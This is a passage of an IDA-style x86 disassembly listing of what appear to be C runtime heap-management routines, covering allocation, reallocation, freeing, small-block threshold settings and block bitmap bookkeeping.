		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426800
		add	esp, 4
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_4268C0
		add	esp, 8


loc_42607A:				; CODE XREF: sub_425F40+AAj
					; sub_425F40+CEj ...
		cmp	[ebp+var_24], 0
		jnz	short loc_4260FA
		cmp	[ebp+arg_4], 0
		jnz	short loc_42608D
		mov	[ebp+arg_4], 1


loc_42608D:				; CODE XREF: sub_425F40+144j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4E98C8
		push	edx
		call	near ptr 2980000h
		nop
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4260FA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_4260D0
		mov	eax, [ebp+var_20]
		mov	[ebp+var_40], eax
		jmp	short loc_4260D6
; ---------------------------------------------------------------------------


loc_4260D0:				; CODE XREF: sub_425F40+186j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_40], ecx


loc_4260D6:				; CODE XREF: sub_425F40+18Ej
		mov	edx, [ebp+var_40]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_422B50
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	sub_4268C0
		add	esp, 8


loc_4260FA:				; CODE XREF: sub_425F40+9Bj
					; sub_425F40+13Ej ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_426108
		jmp	short loc_426113
sub_425F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_426108	proc near		; CODE XREF: sub_425F40+1C1p
					; DATA XREF: .XComp0:0043F000o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_426108	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F40


loc_426113:				; CODE XREF: sub_425F40+1C6j
		cmp	[ebp+var_28], 0
		jnz	short loc_42614C
		cmp	[ebp+arg_4], 0
		jnz	short loc_426126
		mov	[ebp+arg_4], 1


loc_426126:				; CODE XREF: sub_425F40+1DDj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4E98C8
		push	ecx
		call	near ptr 2990000h
		nop
		mov	[ebp+var_24], eax


loc_42614C:				; CODE XREF: sub_425F40+71j
					; sub_425F40+1D7j
		cmp	[ebp+var_24], 0
		jnz	short loc_42615B
		cmp	dword_4E9258, 0
		jnz	short loc_426163


loc_42615B:				; CODE XREF: sub_425F40+210j
		mov	eax, [ebp+var_24]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_426163:				; CODE XREF: sub_425F40+219j
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_425880
		add	esp, 4
		test	eax, eax
		jnz	short loc_42617A
		xor	eax, eax
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_42617A:				; CODE XREF: sub_425F40+231j
		jmp	loc_425FA6
; ---------------------------------------------------------------------------


loc_42617F:				; CODE XREF: sub_425F40+60j
		cmp	dword_4E98CC, 2
		jnz	loc_42635A
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_4261AC
		cmp	[ebp+arg_4], 0
		jbe	short loc_4261A5
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		jmp	short loc_4261AC
; ---------------------------------------------------------------------------


loc_4261A5:				; CODE XREF: sub_425F40+256j
		mov	[ebp+arg_4], 10h


loc_4261AC:				; CODE XREF: sub_425F40+250j
					; sub_425F40+263j ...
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_42632A
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428820
		add	esp, 0Ch
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	loc_4262F7
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4522DC
		jnb	loc_426288
		mov	edx, [ebp+arg_4]
		shr	edx, 4
		push	edx
		mov	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_38]
		push	edx
		call	sub_428F90
		add	esp, 10h
		test	eax, eax
		jz	short loc_426225
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_24], eax
		jmp	short loc_426288
; ---------------------------------------------------------------------------


loc_426225:				; CODE XREF: sub_425F40+2DBj
		mov	ecx, [ebp+arg_4]
		shr	ecx, 4
		push	ecx
		call	sub_428920
		add	esp, 4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_426288
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 4
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_4]
		jnb	short loc_42625A
		mov	edx, [ebp+var_34]
		mov	[ebp+var_44], edx
		jmp	short loc_426260
; ---------------------------------------------------------------------------


loc_42625A:				; CODE XREF: sub_425F40+310j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_44], eax


loc_426260:				; CODE XREF: sub_425F40+318j
		mov	ecx, [ebp+var_44]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_4288B0
		add	esp, 0Ch


loc_426288:				; CODE XREF: sub_425F40+2B8j
					; sub_425F40+2E3j ...
		cmp	[ebp+var_24], 0
		jnz	short loc_4262F5
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4E98C8
		push	edx
		nop
		call	near ptr 2980000h
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4262F5
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 4
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_4262C7
		mov	eax, [ebp+var_34]
		mov	[ebp+var_48], eax
		jmp	short loc_4262CD
; ---------------------------------------------------------------------------


loc_4262C7:				; CODE XREF: sub_425F40+37Dj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_48], ecx


loc_4262CD:				; CODE XREF: sub_425F40+385j
		mov	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_422B50
		add	esp, 0Ch
		mov	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_38]
		push	ecx
		call	sub_4288B0
		add	esp, 0Ch


loc_4262F5:				; CODE XREF: sub_425F40+34Cj
					; sub_425F40+368j
		jmp	short loc_426311
; ---------------------------------------------------------------------------


loc_4262F7:				; CODE XREF: sub_425F40+2A9j
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4E98C8
		push	ecx
		call	near ptr 2990000h
		nop
		mov	[ebp+var_24], eax


loc_426311:				; CODE XREF: sub_425F40:loc_4262F5j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42631F
		jmp	short loc_42632A
; END OF FUNCTION CHUNK	FOR sub_425F40

; =============== S U B	R O U T	I N E =======================================



sub_42631F	proc near		; CODE XREF: sub_425F40+3D8p
					; DATA XREF: .XComp0:0043F00Co
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_42631F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F40


loc_42632A:				; CODE XREF: sub_425F40+277j
					; sub_425F40+3DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_426339
		cmp	dword_4E9258, 0
		jnz	short loc_426341


loc_426339:				; CODE XREF: sub_425F40+3EEj
		mov	eax, [ebp+var_24]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_426341:				; CODE XREF: sub_425F40+3F7j
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_425880
		add	esp, 4
		test	eax, eax
		jnz	short loc_426355
		xor	eax, eax
		jmp	short loc_4263C2
; ---------------------------------------------------------------------------


loc_426355:				; CODE XREF: sub_425F40+40Fj
		jmp	loc_4261AC
; ---------------------------------------------------------------------------


loc_42635A:				; CODE XREF: sub_425F40+246j
					; sub_425F40:loc_4263C0j
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_426398
		cmp	[ebp+arg_4], 0
		jnz	short loc_426374
		mov	[ebp+arg_4], 1


loc_426374:				; CODE XREF: sub_425F40+42Bj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 2990000h
		mov	[ebp+var_24], eax


loc_426398:				; CODE XREF: sub_425F40+425j
		cmp	[ebp+var_24], 0
		jnz	short loc_4263A7
		cmp	dword_4E9258, 0
		jnz	short loc_4263AC


loc_4263A7:				; CODE XREF: sub_425F40+45Cj
		mov	eax, [ebp+var_24]
		jmp	short loc_4263C2
; ---------------------------------------------------------------------------


loc_4263AC:				; CODE XREF: sub_425F40+465j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_425880
		add	esp, 4
		test	eax, eax
		jnz	short loc_4263C0
		xor	eax, eax
		jmp	short loc_4263C2
; ---------------------------------------------------------------------------


loc_4263C0:				; CODE XREF: sub_425F40+47Aj
		jmp	short loc_42635A
; ---------------------------------------------------------------------------


loc_4263C2:				; CODE XREF: sub_425F40+3Bj
					; sub_425F40+54j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425F40
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263E0	proc near		; CODE XREF: sub_41F9E0+26Ep
					; sub_41F9E0+3B2p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00426466 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 004264E8 SIZE 0000003E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F010
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_42640E
		jmp	loc_426515
; ---------------------------------------------------------------------------


loc_42640E:				; CODE XREF: sub_4263E0+27j
		cmp	dword_4E98CC, 3
		jnz	short loc_426484
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426800
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_42644D
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_4268C0
		add	esp, 8


loc_42644D:				; CODE XREF: sub_4263E0+5Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42645B
		jmp	short loc_426466
sub_4263E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42645B	proc near		; CODE XREF: sub_4263E0+74p
					; DATA XREF: .XComp0:0043F018o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_42645B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E0


loc_426466:				; CODE XREF: sub_4263E0+79j
		cmp	[ebp+var_1C], 0
		jnz	short loc_42647F
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4E98C8
		push	ecx
		call	near ptr 29A0000h
		nop


loc_42647F:				; CODE XREF: sub_4263E0+8Aj
		jmp	loc_426515
; ---------------------------------------------------------------------------


loc_426484:				; CODE XREF: sub_4263E0+35j
		cmp	dword_4E98CC, 2
		jnz	short loc_426502
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428820
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4264CF
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_4288B0
		add	esp, 0Ch


loc_4264CF:				; CODE XREF: sub_4263E0+D9j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4264DD
		jmp	short loc_4264E8
; END OF FUNCTION CHUNK	FOR sub_4263E0

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4263E0+F6p
					; DATA XREF: .XComp0:0043F024o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_4264DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E0


loc_4264E8:				; CODE XREF: sub_4263E0+FBj
		cmp	[ebp+var_24], 0
		jnz	short loc_426500
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		call	near ptr 29A0000h
		nop


loc_426500:				; CODE XREF: sub_4263E0+10Cj
		jmp	short loc_426515
; ---------------------------------------------------------------------------


loc_426502:				; CODE XREF: sub_4263E0+ABj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4E98C8
		push	edx
		call	near ptr 29A0000h
		nop


loc_426515:				; CODE XREF: sub_4263E0+29j
					; sub_4263E0:loc_42647Fj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4263E0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426530	proc near		; CODE XREF: sub_420130+4Ap
					; .XComp0:00426643p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042659D SIZE 0000003A BYTES
; FUNCTION CHUNK AT 004265E2 SIZE 00000052 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F028
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0FFFFFFFEh
		cmp	dword_4E98CC, 3
		jnz	short loc_42659F
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		call	sub_427E00
		test	eax, eax
		jge	short loc_426584
		mov	[ebp+var_1C], 0FFFFFFFCh


loc_426584:				; CODE XREF: sub_426530+4Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_426592
		jmp	short loc_42659D
sub_426530	endp


; =============== S U B	R O U T	I N E =======================================



sub_426592	proc near		; CODE XREF: sub_426530+5Bp
					; DATA XREF: .XComp0:0043F030o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_426592	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426530


loc_42659D:				; CODE XREF: sub_426530+60j
		jmp	short loc_4265E2
; ---------------------------------------------------------------------------


loc_42659F:				; CODE XREF: sub_426530+31j
		cmp	dword_4E98CC, 2
		jnz	short loc_4265E2
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		call	sub_429100
		test	eax, eax
		jge	short loc_4265C9
		mov	[ebp+var_1C], 0FFFFFFFCh


loc_4265C9:				; CODE XREF: sub_426530+90j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4265D7
		jmp	short loc_4265E2
; END OF FUNCTION CHUNK	FOR sub_426530

; =============== S U B	R O U T	I N E =======================================



sub_4265D7	proc near		; CODE XREF: sub_426530+A0p
					; DATA XREF: .XComp0:0043F03Co
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_4265D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426530


loc_4265E2:				; CODE XREF: sub_426530:loc_42659Dj
					; sub_426530+76j ...
		push	0
		push	0
		mov	eax, dword_4E98C8
		push	eax
		call	near ptr 2950000h
		nop
		test	eax, eax
		jnz	short loc_426620
		call	near ptr 27B0F7Fh
		nop
		cmp	eax, 78h
		jnz	short loc_426619
		call	sub_42C1F0
		mov	dword ptr [eax], 78h
		call	sub_42C1E0
		mov	dword ptr [eax], 28h
		jmp	short loc_426620
; ---------------------------------------------------------------------------


loc_426619:				; CODE XREF: sub_426530+CFj
		mov	[ebp+var_1C], 0FFFFFFFCh


loc_426620:				; CODE XREF: sub_426530+C4j
					; sub_426530+E7j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_426530
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_426530
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4E98CC, 3
		jnz	short loc_426663
		mov	eax, dword_4E98EC
		jmp	short loc_426675
; ---------------------------------------------------------------------------


loc_426663:				; CODE XREF: .XComp0:0042665Aj
		cmp	dword_4E98CC, 2
		jnz	short loc_426673
		mov	eax, dword_4522DC
		jmp	short loc_426675
; ---------------------------------------------------------------------------


loc_426673:				; CODE XREF: .XComp0:0042666Aj
		xor	eax, eax


loc_426675:				; CODE XREF: .XComp0:00426661j
					; .XComp0:00426671j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E98CC, 3
		jnz	short loc_4266AF
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_4266A8
		mov	eax, [ebp+8]
		mov	dword_4E98EC, eax
		mov	eax, 1
		jmp	loc_426786
; ---------------------------------------------------------------------------


loc_4266A8:				; CODE XREF: .XComp0:00426694j
		xor	eax, eax
		jmp	loc_426786
; ---------------------------------------------------------------------------


loc_4266AF:				; CODE XREF: .XComp0:0042668Bj
		cmp	dword_4E98CC, 2
		jnz	short loc_4266E7
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_4266E0
		mov	edx, [ebp+8]
		mov	dword_4522DC, edx
		mov	eax, 1
		jmp	loc_426786
; ---------------------------------------------------------------------------


loc_4266E0:				; CODE XREF: .XComp0:004266CBj
		xor	eax, eax
		jmp	loc_426786
; ---------------------------------------------------------------------------


loc_4266E7:				; CODE XREF: .XComp0:004266B6j
		cmp	dword_4E98CC, 1
		jnz	loc_426784
		cmp	dword ptr [ebp+8], 0
		jbe	loc_426784
		lea	eax, [ebp-4]
		push	eax
		call	sub_429340
		add	esp, 4
		mov	ecx, [ebp-4]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_42674C
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_42674A
		mov	edx, [ebp+8]
		push	edx
		call	sub_426790
		add	esp, 4
		test	eax, eax
		jz	short loc_42674A
		mov	eax, [ebp+8]
		mov	dword_4E98EC, eax
		mov	dword_4E98CC, 3
		mov	eax, 1
		jmp	short loc_426786
; ---------------------------------------------------------------------------


loc_42674A:				; CODE XREF: .XComp0:0042671Fj
					; .XComp0:0042672Fj
		jmp	short loc_426784
; ---------------------------------------------------------------------------


loc_42674C:				; CODE XREF: .XComp0:00426716j
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_426784
		call	sub_428460
		test	eax, eax
		jz	short loc_426784
		mov	edx, [ebp+8]
		mov	dword_4522DC, edx
		mov	dword_4E98CC, 2
		mov	eax, 1
		jmp	short loc_426786
; ---------------------------------------------------------------------------


loc_426784:				; CODE XREF: .XComp0:004266EEj
					; .XComp0:004266F8j ...
		xor	eax, eax


loc_426786:				; CODE XREF: .XComp0:004266A3j
					; .XComp0:004266AAj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426790	proc near		; CODE XREF: .XComp0:00426725p
					; sub_4295D0+44p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	140h
		push	0
		mov	eax, dword_4E98C8
		push	eax
		call	near ptr 2980000h
		nop
		mov	dword_4E98E8, eax
		cmp	dword_4E98E8, 0
		jnz	short loc_4267B8
		xor	eax, eax
		jmp	short loc_4267F0
; ---------------------------------------------------------------------------


loc_4267B8:				; CODE XREF: sub_426790+22j
		mov	ecx, [ebp+arg_0]
		mov	dword_4E98EC, ecx
		mov	edx, dword_4E98E8
		mov	dword_4E98D8, edx
		mov	dword_4E98E0, 0
		mov	dword_4E98E4, 0
		mov	dword_4E98D0, 10h
		mov	eax, 1


loc_4267F0:				; CODE XREF: sub_426790+26j
		pop	ebp
		retn
sub_426790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426800	proc near		; CODE XREF: sub_420610+41p
					; sub_425D30+52p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4E98E4
		imul	eax, 14h
		mov	ecx, dword_4E98E8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, dword_4E98E8
		mov	[ebp+var_8], edx


loc_426822:				; CODE XREF: sub_426800+4Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_42684F
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	edx, [ecx+0Ch]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 100000h
		jnb	short loc_426844
		mov	eax, [ebp+var_8]
		jmp	short loc_426851
; ---------------------------------------------------------------------------


loc_426844:				; CODE XREF: sub_426800+3Dj
		mov	eax, [ebp+var_8]
		add	eax, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_426822
; ---------------------------------------------------------------------------


loc_42684F:				; CODE XREF: sub_426800+28j
		xor	eax, eax


loc_426851:				; CODE XREF: sub_426800+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_426800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426860	proc near		; CODE XREF: sub_420610+5Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, 80000000h
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, eax
		test	edx, edx
		jnz	short loc_4268B1
		mov	eax, [ebp+var_8]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_4268B1
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		test	ecx, ecx
		jz	short loc_4268B1
		mov	[ebp+var_C], 1
		jmp	short loc_4268B8
; ---------------------------------------------------------------------------


loc_4268B1:				; CODE XREF: sub_426860+2Fj
					; sub_426860+39j ...
		mov	[ebp+var_C], 0


loc_4268B8:				; CODE XREF: sub_426860+4Fj
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_426860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C0	proc near		; CODE XREF: sub_425F40+132p
					; sub_425F40+1B2p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		and	edx, 1
		test	edx, edx
		jz	short loc_42691D
		jmp	loc_426E98
; ---------------------------------------------------------------------------


loc_42691D:				; CODE XREF: sub_4268C0+56j
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax-4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		and	edx, 1
		test	edx, edx
		jnz	loc_426A67
		mov	eax, [ebp+var_14]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_42695E
		mov	[ebp+var_24], 3Fh


loc_42695E:				; CODE XREF: sub_4268C0+95j
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_38]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_426A40
		cmp	[ebp+var_24], 20h
		jnb	short loc_4269D5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4269D3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4269D3:				; CODE XREF: sub_4268C0+F9j
		jmp	short loc_426A40
; ---------------------------------------------------------------------------


loc_4269D5:				; CODE XREF: sub_4268C0+B4j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
